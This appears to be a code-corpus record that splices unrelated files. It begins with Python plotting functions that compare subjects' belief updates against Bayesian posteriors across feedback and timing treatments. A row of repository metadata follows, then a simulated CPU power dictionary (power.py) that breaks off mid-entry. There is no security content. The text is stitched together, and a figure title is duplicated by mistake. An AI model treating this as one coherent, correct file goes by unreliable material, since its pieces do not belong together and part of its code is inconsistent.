ax2.scatter(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av'], color='b', label='Prior')
ax2.plot(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av'], color='b')
ax2.scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r', label='Posterior Positive Feedback')
ax2.plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r')
ax2.scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g', label='Posterior Negative Feedback')
ax2.plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g')
ax4.scatter(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av'], color='b', label='Prior')
ax4.plot(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av'], color='b')
ax4.scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r', label='Posterior Positive Feedback')
ax4.plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos'], color='r')
ax4.scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g', label='Posterior Negative Feedback')
ax4.plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg'], color='g')
ax4.set_ylabel('Pr(upperhalf)', fontsize=10)
ax4.legend(loc='lower right', fontsize = 'small')
ax4.set_ylim([10,100])
ax2.legend(loc='lower right', fontsize = 'small')
ax2.set_xlabel('Test Performance')
ax2.set_ylabel('Pr(upperhalf)', fontsize=10)
ax2.set_ylim([10,100])
ax2.set_title('Observed Posterior Belief', fontsize=14)
ax1.scatter(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av_b'], color='b', label='Prior')
ax1.plot(df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 0].sort_values(by=['test_1'])['prior_av_b'], color='b')
ax1.scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r', label='Posterior Bayes Positive Feedback')
ax1.plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r')
ax1.scatter(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g', label='Posterior Bayes Negative Feedback')
ax1.plot(df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g')
ax3.scatter(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av_b'], color='b', label='Prior')
ax3.plot(df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['test_1'], df[df['dummytreat_direct1month'] == 1].sort_values(by=['test_1'])['prior_av_b'], color='b')
ax3.scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r', label='Posterior Bayes Positive Feedback')
ax3.plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)].sort_values(by=['test_1'])['post_av_pos_b'], color='r')
ax3.scatter(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g', label='Posterior Bayes Negative Feedback')
ax3.plot(df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['test_1'], df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)].sort_values(by=['test_1'])['post_av_neg_b'], color='g')
ax1.set_ylabel('Confidence Direct', fontsize=14)
ax1.set_title('Bayesian Posterior Beliefs', fontsize=14)
ax1.legend(loc='lower right', fontsize = 'small')
ax1.set_ylim([10,100])
ax3.legend(loc='lower right', fontsize = 'small')
ax3.set_xlabel('Test Performance')
ax3.set_ylabel('Confidence 1-month', fontsize=14)
ax3.set_ylim([10,100])
return Extension_Figure_3
def Extension_Figure_4(df):
fig, axes = plt.subplots(1, 2, sharex=True, figsize=(20,5))
fig.suptitle('EXTENSION FIGURE 4. Belief Updating by Treatment and Signal Type')
sns.set_style('whitegrid')
#Pos
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[0], label='good')
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[0], label='bad')
#Neg
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[1], label='good')
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[1], label='bad')
axes[0].set_title('Panel A. Direct')
axes[0].set_xlabel('Bayesian posterior mean')
axes[0].set_ylabel('Posterior mean of Subjects')
axes[0].legend(loc='lower right')
axes[1].set_title('Panel B. 1 month')
axes[1].set_xlabel('Bayesian posterior mean')
axes[1].set_ylabel('Posterior mean of Subjects')
axes[1].legend(loc='lower right')
axes[1].set_ylim([-80,70])
axes[0].set_ylim([-80,70])
plt.show()
return Extension_Figure_4
def Extension_Figure_5(df):
fig, axes = plt.subplots(1, 2, sharex=True, figsize=(20,5))
fig.suptitle('EXTENSION FIGURE 4. Belief Updating by Treatment and Signal Type')
sns.set_style('whitegrid')
#Pos
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==0)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[0], label='direct')
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==0)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[0], label='1month')
#Neg
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 0) & (df['dummynews_goodbad'] ==1)],
scatter_kws={'s':30},line_kws={'color':'lightblue'}, marker="+", ax=axes[1], label='direct')
sns.regplot('beliefadjustment_bayes_norm','beliefadjustment_normalized', df[(df['dummytreat_direct1month'] == 1) & (df['dummynews_goodbad'] ==1)],
scatter_kws={'s':20},line_kws={'color':'orange'}, ax=axes[1], label='1month')
axes[0].set_title('Panel A. Positive Feedback')
axes[0].set_xlabel('Bayesian posterior mean')
axes[0].set_ylabel('Posterior mean of Subjects')
axes[0].legend(loc='lower right')
axes[1].set_title('Panel B. Negative Feedback')
axes[1].set_xlabel('Bayesian posterior mean')
axes[1].set_ylabel('Posterior mean of Subjects')
axes[1].legend(loc='lower right')
axes[1].set_ylim([-80,70])
axes[0].set_ylim([-80,70])
plt.show()
return Extension_Figure_5
| 75.166667 | 300 | 0.660248 | 3,660 | 25,707 | 4.397268 | 0.068579 | 0.044737 | 0.090469 | 0.168013 | 0.84721 | 0.825401 | 0.807257 | 0.800671 | 0.796694 | 0.785199 | 0 | 0.040209 | 0.122535 | 25,707 | 341 | 301 | 75.387097 | 0.673272 | 0.013693 | 0 | 0.269231 | 0 | 0 | 0.374188 | 0.124108 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.061538 | 0 | 0.138462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
183855edb67862921acc8b4877cf42a3add2e4fc | 68,647 | py | Python | benchmarks/SimResults/combinations_spec_locality/oldstuff/cmp_bwavesgcccactusADMsoplex/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_locality/oldstuff/cmp_bwavesgcccactusADMsoplex/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_locality/oldstuff/cmp_bwavesgcccactusADMsoplex/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 4.72345e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202693,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 2.02403e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.348049,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.602695,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.345663,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.29641,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.344029,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.55044,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 3.82383e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0126171,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0912391,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0933108,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0912429,
'Execution Unit/Register Files/Runtime Dynamic': 0.105928,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.220472,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.566564,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 2.57697,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00393362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00393362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.0034443,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.00134326,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00134042,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.012652,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0370675,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0897021,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 5.70582,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.338422,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.304669,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.20549,
'Instruction Fetch Unit/Runtime Dynamic': 0.782512,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.069245,
'L2/Runtime Dynamic': 0.0155978,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 3.95534,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.32918,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.087941,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.087941,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 4.37231,
'Load Store Unit/Runtime Dynamic': 1.85081,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.216848,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.433695,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0769599,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.077721,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.354767,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0563052,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.646314,
'Memory Management Unit/Runtime Dynamic': 0.134026,
'Memory Management Unit/Subthreshold Leakage': 0.0769113,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462,
'Peak Dynamic': 23.4055,
'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.25388e-05,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
'Renaming Unit/Free List/Gate Leakage': 4.15911e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0401324,
'Renaming Unit/Free List/Runtime Dynamic': 0.0177975,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987,
'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.180195,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.198005,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 5.55792,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0501328,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.242065,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.268525,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.115076,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.185613,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.093691,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.394379,
